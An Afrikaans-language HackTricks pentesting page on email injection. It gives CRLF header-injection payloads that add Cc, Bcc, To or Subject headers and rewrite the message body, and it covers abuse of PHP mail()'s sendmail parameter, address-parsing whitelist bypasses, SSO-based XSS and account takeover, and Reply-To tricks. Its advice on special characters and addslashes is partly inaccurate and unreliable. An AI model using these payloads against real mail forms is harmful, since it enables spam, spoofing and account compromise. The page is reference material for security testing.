11 KiB
E-posinjeksies
Gebruik Trickest om maklik en outomaties werkstrome te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy in HackTricks wil adverteer of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.
Injecteer in gestuurde e-pos
Injecteer Cc en Bcc na die sender-argument
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Die boodskap sal na die ontvanger en ontvanger1 rekeninge gestuur word.
Injecteer argument
From:sender@domain.com%0ATo:attacker@domain.com
Die boodskap sal na die oorspronklike ontvanger en die aanvaller se rekening gestuur word.
Injecteer Onderwerp argument
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Die vals onderwerp sal by die oorspronklike onderwerp gevoeg word en in sommige gevalle sal dit dit vervang. Dit hang af van die gedrag van die e-posdiens.
Verander die liggaam van die boodskap
Spuit 'n twee-lynvoer in, skryf dan jou boodskap om die liggaam van die boodskap te verander.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Uitbuiting van die PHP mail() funksie
Die PHP mail() funksie is 'n baie nuttige funksie wat gebruik word om e-posse te stuur vanaf 'n webwerf. Dit kan egter ook misbruik word deur 'n aanvaller om e-posinjeksie-aanvalle uit te voer.
'n E-posinjeksie-aanval vind plaas wanneer 'n aanvaller kwaadwillige data invoer in die veld vir die ontvanger, onderwerp of boodskap van die e-pos. Hierdie data kan dan gebruik word om skadelike aksies uit te voer, soos die stuur van spam, die uitvoer van kwaadwillige kode of die verkryging van gevoelige inligting.
Om 'n e-posinjeksie-aanval uit te voer, moet 'n aanvaller die invoerveld manipuleer om spesiale karakters te bevat, soos enkele aanhalingstekens, dubbele aanhalingstekens of semikolons. Hierdie karakters kan die e-posinjeksie-aanval moontlik maak deur die invoer van die aanvaller te meng met die e-posseine wat deur die mail() funksie gebruik word.
Om 'n suksesvolle e-posinjeksie-aanval uit te voer, moet 'n aanvaller die volgende stappe volg:
- Identifiseer die invoerveld wat gebruik word vir die ontvanger, onderwerp of boodskap van die e-pos.
- Manipuleer die invoerveld deur spesiale karakters in te voer.
- Voeg die kwaadwillige data in wat gebruik sal word vir die e-posinjeksie-aanval.
- Stuur die gemanipuleerde e-pos deur die mail() funksie.
Om e-posinjeksie te voorkom, moet ontwikkelaars die invoer van gebruikers behoorlik valideer en ontsmet. Dit kan gedoen word deur die gebruik van funksies soos filter_var() of addslashes() om spesiale karakters te ontsmet.
Dit is belangrik vir webontwikkelaars en beveiligingspersoneel om bewus te wees van die moontlikheid van e-posinjeksie-aanvalle en om die nodige maatreëls te tref om dit te voorkom.
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
Die 5de parameter ($additional_parameters)
Hierdie gedeelte is gebaseer op hoe om hierdie parameter te misbruik as 'n aanvaller dit beheer.
Hierdie parameter sal by die bevellyn gevoeg word wat PHP gebruik om die binêre sendmail aan te roep. Dit sal egter gesaniteer word met die funksie escapeshellcmd($additional_parameters)
.
'n Aanvaller kan ekstra parameters vir sendmail inspuit in hierdie geval.
Verskille in die implementering van /usr/sbin/sendmail
Die sendmail-koppelvlak word voorsien deur die MTA-e-pos sagteware (Sendmail, Postfix, Exim ens.) wat op die stelsel geïnstalleer is. Alhoewel die basiese funksionaliteit (soos -t -i -f parameters) dieselfde bly vir verenigbaarheidsredes, varieer ander funksies en parameters aansienlik afhangende van die geïnstalleerde MTA.
Hier is 'n paar voorbeelde van verskillende manbladsye van die sendmail-opdrag/koppelvlak:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
Afhanklik van die oorsprong van die sendmail-binêre het verskillende opsies ontdek om dit te misbruik en lêers te lek of selfs arbitrêre opdragte uit te voer. Kyk hoe in https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Inspuiting in die e-posnaam
Geïgnoreerde dele van 'n e-pos
Die simbole: +, - en {} kan in seldsame gevalle gebruik word vir merking en geïgnoreer word deur die meeste e-posbedieners
- Byvoorbeeld: john.doe+intigriti@example.com → john.doe@example.com
Kommentaar tussen hakies () aan die begin of die einde sal ook geïgnoreer word
- Byvoorbeeld: john.doe(intigriti)@example.com → john.doe@example.com
Whitelist-omseiling
Aanhalingstekens
IP-adresse
Jy kan ook IP-adresse gebruik as domeinname tussen vierkante hakies:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Ander kwesbaarhede
Derde party SSO
XSS
Sommige dienste soos github of salesforce laat jou toe om 'n e-posadres met XSS-payloads daarop te skep. As jy hierdie verskaffers kan gebruik om op ander dienste in te teken en hierdie dienste die e-pos nie korrek saniteer nie, kan jy XSS veroorsaak.
Rekening-oorgawe
As 'n SSO-diens jou toelaat om 'n rekening te skep sonder om die opgegeven e-posadres te verifieer (soos salesforce) en dan kan jy daardie rekening gebruik om in 'n ander diens in te teken wat vertrou op salesforce, kan jy enige rekening toegang verkry.
Let daarop dat salesforce aandui of die opgegeven e-pos geverifieer is of nie, maar die aansoek moet hierdie inligting in ag neem.
Reply-To
Jy kan 'n e-pos stuur met From: company.com en Replay-To: attacker.com en as enige outomatiese antwoord gestuur word as gevolg van die e-pos wat van 'n interne adres af gestuur is, kan die aanvaller moontlik daardie antwoord ontvang.
Harde stuiterkoers
Sekere dienste, soos AWS, implementeer 'n drempel wat bekend staan as die Harde stuiterkoers, tipies ingestel op 10%. Dit is 'n kritieke metriek, veral vir e-posafleweringsdienste. Wanneer hierdie koers oorskry word, kan die diens, soos AWS se e-posdiens, opgeskort of geblokkeer word.
'n Harde stuiter verwys na 'n e-pos wat aan die afsender terugbesorg is omdat die ontvanger se adres ongeldig of nie-bestaande is nie. Dit kan voorkom as gevolg van verskeie redes, soos die stuur van 'n e-pos na 'n nie-bestaande adres, 'n domein wat nie werklik is nie, of die weiering van die ontvangerbediener om e-posse te aanvaar.
In die konteks van AWS, as jy 1000 e-posse stuur en 100 daarvan lei tot harde stuiteringe (as gevolg van redes soos ongeldige adresse of domeine), beteken dit 'n harde stuiterkoers van 10%. Die bereiking of oorskryding van hierdie koers kan veroorsaak dat AWS SES (Simple Email Service) jou e-posstuurvermoëns blokkeer of opskort.
Dit is belangrik om 'n lae harde stuiterkoers te handhaaf om ononderbroke e-posdiens te verseker en die reputasie van die afsender te behou. Deur die kwaliteit van die e-posadresse in jou poslys te monitor en bestuur, kan jy aansienlik help om hierdie doel te bereik.
Vir meer gedetailleerde inligting kan verwys word na AWS se amptelike dokumentasie oor die hanteer van stuiteringe en klagtes AWS SES Bounce Handling.
Verwysings
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks-uitrusting
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- **Deel jou haktruuks